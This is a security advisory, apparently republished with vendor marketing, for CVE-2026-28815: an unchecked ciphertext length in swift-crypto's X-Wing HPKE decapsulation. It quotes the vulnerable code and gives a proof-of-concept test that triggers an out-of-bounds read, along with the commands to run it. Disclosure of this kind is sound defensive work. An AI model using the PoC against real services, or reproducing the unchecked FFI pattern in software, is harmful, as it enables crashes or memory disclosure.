Summary
Swift Crypto: X-Wing HPKE Decapsulation Accepts Malformed Ciphertext Length
The X-Wing decapsulation path accepts attacker-controlled encapsulated ciphertext bytes without enforcing the required fixed ciphertext length. The decapsulation call is forwarded into a C API, which expects a compile-time fixed-size ciphertext buffer of 1120 bytes. This creates an FFI memory-safety boundary issue when a shorter Data value is passed in, because the C code may read beyond the Swift buffer.
The issue is reachable through initialization of an HPKE.Recipient, which decapsulates the provided encapsulatedKey during construction. A malformed encapsulatedKey can therefore trigger undefined behavior instead of a safe length-validation error.
Details
The decapsulate function of OpenSSLXWingPrivateKeyImpl does not perform a length check before passing the encapsulated data to the C API.
func decapsulate(_ encapsulated: Data) throws -> SymmetricKey {
try SymmetricKey(unsafeUninitializedCapacity: Int(XWING_SHARED_SECRET_BYTES)) { sharedSecretBytes, count in
try encapsulated.withUnsafeBytes { encapsulatedSecretBytes in
let rc = CCryptoBoringSSL_XWING_decap(
sharedSecretBytes.baseAddress,
encapsulatedSecretBytes.baseAddress,
&self.privateKey
)
guard rc == 1 else {
throw CryptoKitError.internalBoringSSLError()
}
count = Int(XWING_SHARED_SECRET_BYTES)
}
}
}
The C API does not have a runtime length parameter and instead expects a fixed-size buffer of 1120 bytes.
#define XWING_CIPHERTEXT_BYTES 1120
OPENSSL_EXPORT int XWING_decap(
uint8_t out_shared_secret[XWING_SHARED_SECRET_BYTES],
const uint8_t ciphertext[XWING_CIPHERTEXT_BYTES],
const struct XWING_private_key *private_key);
Since decapsulate accepts arguments of any length, an attacker controlled input can trigger an out-of-bounds read. The vulnerable code path can be reached through by initializing a HPKE.Recipient. This creates a new HPKE.Context, which decapsulates the attacker-controlled enc argument:
init<PrivateKey: HPKEKEMPrivateKey>(recipientRoleWithCiphersuite ciphersuite: Ciphersuite, mode: Mode, enc: Data, psk: SymmetricKey?, pskID: Data?, skR: PrivateKey, info: Data, pkS: PrivateKey.PublicKey?) throws {
let sharedSecret = try skR.decapsulate(enc)
self.encapsulated = enc
self.keySchedule = try KeySchedule(mode: mode, sharedSecret: sharedSecret, info: info, psk: psk, pskID: pskID, ciphersuite: ciphersuite)
}
PoC
This PoC constructs an HPKE.Recipient using the X-Wing ciphersuite and deliberately passes a 1-byte encapsulatedKey instead of the required 1120 bytes. In a normal run, the malformed input is accepted and it reaches the vulnerable decapsulation path, i.e., no size rejection occurs. In an AddressSanitizer run, the same PoC produces a dynamic-stack-buffer-overflow read, confirming memory-unsafe behavior.
//===----------------------------------------------------------------------===//
//
// PoC for X-Wing malformed ciphertext-length decapsulation:
// X-Wing decapsulation accepts malformed ciphertext length and forwards it to C.
//
// This test is intentionally unsafe and is expected to crash (or trip ASan)
// on vulnerable builds when run.
//
//===----------------------------------------------------------------------===//
#if canImport(FoundationEssentials)
import FoundationEssentials
#else
import Foundation
#endif
import XCTest
#if CRYPTO_IN_SWIFTPM && !CRYPTO_IN_SWIFTPM_FORCE_BUILD_API
// Skip tests that require @testable imports of CryptoKit.
#else
#if !CRYPTO_IN_SWIFTPM_FORCE_BUILD_API
@testable import CryptoKit
#else
@testable import Crypto
#endif
final class XWingMalformedEncapsulationPoCTests: XCTestCase {
func testShortEncapsulatedKeyHPKERecipientInit() throws {
if #available(iOS 19.0, macOS 16.0, watchOS 12.0, tvOS 19.0, macCatalyst 19.0, *) {
let ciphersuite = HPKE.Ciphersuite.XWingMLKEM768X25519_SHA256_AES_GCM_256
let skR = try XWingMLKEM768X25519.PrivateKey.generate()
let malformedEncapsulatedKey = Data([0x00]) // should be 1120 bytes
// Vulnerable path: HPKE.Recipient -> skR.decapsulate(enc) -> XWING_decap(...)
_ = try HPKE.Recipient(
privateKey: skR,
ciphersuite: ciphersuite,
info: Data(),
encapsulatedKey: malformedEncapsulatedKey
)
XCTFail("Unexpectedly returned from malformed decapsulation path")
}
}
}
#endif // CRYPTO_IN_SWIFTPM
Steps
- Add the PoC XCTest above to the test suite.
- Run the PoC normally to verify that malformed input is not rejected by length:
swift test --filter XWingMalformedEncapsulationPoCTests/testShortEncapsulatedKeyHPKERecipientInit - Run the same PoC with AddressSanitizer enabled to detect out-of-bounds memory access:
swift test --sanitize=address --filter XWingMalformedEncapsulationPoCTests/testShortEncapsulatedKeyHPKERecipientInit
Results
Normal run
The PoC test reaches the XCTFail path. HPKE.Recipient(...) accepted a 1-byte X-Wing encapsulated key instead of rejecting it for incorrect length.
Test Case 'XWingMalformedEncapsulationPoCTests.testShortEncapsulatedKeyHPKERecipientInit' started
... failed - Unexpectedly returned from malformed decapsulation path
AddressSanitizer run
The sanitizer run aborts with a read overflow while executing the same PoC path. This confirms the memory-safety violation. The malformed ciphertext reaches memory-unsafe behavior in the decapsulation chain.
ERROR: AddressSanitizer: dynamic-stack-buffer-overflow
READ of size 1
...
SUMMARY: AddressSanitizer: dynamic-stack-buffer-overflow
==...==ABORTING
Impact
A remote attacker can supply a short X-Wing HPKE encapsulated key and trigger an out-of-bounds read in the C decapsulation path, potentially causing a crash or memory disclosure depending on runtime protections.
Reported by Cantina.
A write operation targets a memory location beyond the intended buffer boundary. Typical impact: memory corruption, crash, or arbitrary code execution.
Affected versions
Security releases
Kodem intelligence
Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.
Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.
Already deployed Kodem?
See it in your environmentNew to Kodem? Get a demo →Remediation advice
Kodem Kai can prioritize this vulnerability in your dependency tree and generate a fix recommendation.
Frequently Asked Questions
- What is CVE-2026-28815? CVE-2026-28815 is a high-severity out-of-bounds write vulnerability in swift-crypto (swift), affecting versions >= 4.0.0, <= 4.3.0. It is fixed in 4.3.1. A write operation targets a memory location beyond the intended buffer boundary.
- Which versions of swift-crypto are affected by CVE-2026-28815? swift-crypto (swift) versions >= 4.0.0, <= 4.3.0 is affected.
- Is there a fix for CVE-2026-28815? Yes. CVE-2026-28815 is fixed in 4.3.1. Upgrade to this version or later.
- Is CVE-2026-28815 exploitable, and should I be worried? Whether CVE-2026-28815 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
- What actually determines whether CVE-2026-28815 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
- How do I fix CVE-2026-28815? Upgrade
swift-cryptoto 4.3.1 or later.